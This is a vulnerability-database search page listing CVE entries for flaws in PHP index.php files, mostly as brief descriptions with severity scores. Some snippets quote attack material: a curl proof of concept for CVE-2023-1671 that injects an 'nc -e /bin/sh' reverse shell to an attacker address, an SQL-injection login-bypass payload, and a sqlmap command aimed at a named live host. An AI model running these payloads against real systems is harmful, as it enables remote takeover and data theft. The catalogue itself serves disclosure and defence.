Lucene search
+L

7242 matches found

Kitploit
Kitploit
added 2026/08/25 2:56 p.m.1 views

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability 漏洞利用作者:ersinerenler 厂商主页 https://code-projects.org/blood-bank-in-php-with-source-code 软件链接 https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 概述 Code-Projects Blood Bank V1.0...

6.1CVSS6.5AI score0.00471EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/25 2:22 p.m.1 views

CVE-2024-35468

CVE-2024-35468 提交者:Kha Do 人力资源管理系统 1.0 漏洞类型 SQL注入 描述 SourceCodester 人力资源管理系统 1.0 中的 /hrm/index.php 存在SQL注入漏洞,允许攻击者通过 password 参数执行任意SQL命令。 受影响组件 /hrm/index.php 影响 攻击者可以使用 payload 'or'1'='1 无需凭证即可登录管理员账户。 验证概念 匿名登录 源代码存在漏洞 视频...

5.4CVSS6.3AI score0.0035EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/08/25 1:16 p.m.1 views

CVE-2025-63589

CVE-2025-63589 CMSimpleXH index.php 路径处理中的反射型 XSS 发现日期: 2025年10月6日 产品: CMSimpleXH(开源平面文件 CMS) 受影响版本: 1.8 CVE 编号: CVE-2025-63589 是否需要认证: 不需要(未认证) 攻击类型: 反射型跨站脚本(XSS) 估算 CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1(中危) index.php 中的前端控制器接受动态路径段(用于路由到模板/页面),并将这些值传递给模板渲染。代码在将这些路径段插入到属性和锚点 href...

7.1CVSS5.3AI score0.00331EPSS
SaveExploits1
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.56 views

GetSimple CMS 3.3.13 - Open Redirect

GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2019-9915 info: name: GetSimple CMS...

6.1CVSS6AI score0.03626EPSS
SaveExploits0References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.85 views

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATHINFO variable to index.php due to insufficient validation for the timezone object in the HOMEMEETING& page. id:...

6.1CVSS5.7AI score0.15987EPSS
SaveExploits3References5
Kitploit
Kitploit
added 2026/08/25 4:49 a.m.1 views

CVE-2021-39433

CVE-2021-39433 Existe una vulnerabilidad de inclusión de archivos local LFI en la versión BIQS IT Biqs-drive v1.83 y anteriores al enviar un payload específico como parámetro file a download/index.php. Esto permite que el atacante lea archivos arbitrarios del servidor con los permisos del usuario...

7.5CVSS7.6AI score0.08687EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 4:37 a.m.1 views

CVE-2025-6082

CVE-2025-6082 全路径泄露 PoC 作者 : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-6082 漏洞 : 全路径泄露 CWE-200 描述 本概念验证利用 Birth Chart Compatibility WordPress 插件(版本 ≤ 2.0)中的全路径泄露漏洞。PoC 向插件的 index.php 端点发送 HTTP GET 请求,捕获任何 PHP 警告或致命错误,并解析出服务器的文件系统路径(例如 /var/www/html/wp-content/plugins/... 或...

5.3CVSS0.01567EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 4:24 a.m.1 views

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance 中的预认证远程代码执行漏洞 Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip =...

9.8CVSS0.99999EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/08/25 4:14 a.m.1 views

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 openSIS 8.0 SQL注入漏洞 https://vulners.com/cve/CVE-2021-40353 当使用MySQL或MariaDB作为应用程序数据库时,openSIS 8.0版本存在一个SQL注入漏洞。攻击者可以通过USERNAME参数执行SQL命令。 受影响PHP页面: index.php - USERNAME参数 漏洞利用Payload ' - 会产生包含数据库信息的错误 " - 不会产生错误 错误信息 日期: 2021年8月31日 03:16:22 失败通知: DB执行失败 SQL: UPDATE...

9.8CVSS9.3AI score0.02876EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 4:14 a.m.2 views

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - 在线活动预订与预约系统 2.3.0 版本中的 HTML 注入漏洞。 技术描述: 在线活动预订与预约系统 2.3.0 版本存在一个 HTML 注入漏洞。攻击者可以利用此漏洞更改网站的可见性。一旦目标用户点击特定链接,将显示攻击者选择的 HTML 代码内容。 受影响的组件 - 漏洞页面 - index.php 漏洞参数 - "msg" 利用步骤: 1. 导航到 http://localhost/event-management/views/index.php 2. 通过 URL 在 "msg" 参数中插入你的有效载荷 3...

5.4CVSS5.2AI score0.03792EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/08/25 4:14 a.m.1 views

CVE-2025-55885

CVE-2025-55885 描述 Alpes Recherche et Developpement ARD GEC en Ligne 2025-04-23 之前版本中存在SQL注入漏洞,允许远程攻击者通过 index.php 中的 GET 参数提升权限。 攻击向量 通过未清理的 GET 参数 ocid 在 https://services.ard.fr/index.php(交易确认页面)进行SQL注入。 概念验证 Payload root@kitploit: sqlmap -u...

6.3CVSS5.6AI score0.00357EPSS
SaveExploits1
NVD
NVD
added 2026/08/22 1:16 p.m.7 views

CVE-2026-56380

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

6.9CVSS0.00214EPSS
SaveExploits0References2
EUVD
EUVD
added 2026/08/22 12:26 p.m.8 views

EUVD-2026-64259

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

6.9CVSS5.4AI score0.00214EPSS
SaveExploits0References2
Cvelist
Cvelist
added 2026/08/22 12:26 p.m.25 views

CVE-2026-56380 AVideo feed/index.php Exposure of Channel Owner Email Address

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

6.9CVSS0.00214EPSS
SaveExploits0References2
Positive Technologies
Positive Technologies
added 2026/08/20 12:00 a.m.18 views

PT-2026-79048

A vulnerability was detected in SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0. This affects the function add grade of the file /index.php. Performing a manipulation of the argument student id results in improper authorization. The attack can be initiated remotely...

6.5CVSS6.2AI score0.00256EPSS
SaveExploits0References6
EUVD
EUVD
added 2026/08/18 3:53 p.m.8 views

EUVD-2026-61020

MyBB is free and open source forum software. From 1.8.13 until 1.8.40, the installer module does not properly escape user-supplied database configuration values written to the configuration file, resulting in PHP code injection and remote code execution when the installer is available...

9.8CVSS6.2AI score0.00793EPSS
SaveExploits0References4
NVD
NVD
added 2026/08/18 1:17 p.m.9 views

CVE-2026-75778

A vulnerability was identified in code-projects Task Management System 1.0. This affects the function Operation::selectwithmultiplecondition of the file /index.php of the component Login Form. Such manipulation of the argument email leads to sql injection. It is possible to launch the attack...

7.5CVSS0.00328EPSS
SaveExploits0References6
NVD
NVD
added 2026/08/18 12:19 p.m.4 views

CVE-2026-74907

Grav before 2.0.15 contains a path traversal vulnerability in the static asset server within index.php that uses string prefix matching instead of directory-boundary validation. Unauthenticated attackers can access files in sibling directories by exploiting directory names that extend the base pa...

8.2CVSS0.00333EPSS
SaveExploits0References2
Cvelist
Cvelist
added 2026/08/18 12:15 p.m.22 views

CVE-2026-75778 code-projects Task Management System Login Form index.php select_with_multiple_condition sql injection

A vulnerability was identified in code-projects Task Management System 1.0. This affects the function Operation::selectwithmultiplecondition of the file /index.php of the component Login Form. Such manipulation of the argument email leads to sql injection. It is possible to launch the attack...

7.5CVSS0.00328EPSS
SaveExploits0References6
EUVD
EUVD
added 2026/08/18 12:15 p.m.9 views

EUVD-2026-60732

A vulnerability was identified in code-projects Task Management System 1.0. This affects the function Operation::selectwithmultiplecondition of the file /index.php of the component Login Form. Such manipulation of the argument email leads to sql injection. It is possible to launch the attack...

7.5CVSS5.4AI score0.00328EPSS
SaveExploits0References6
Rows per page
Query Builder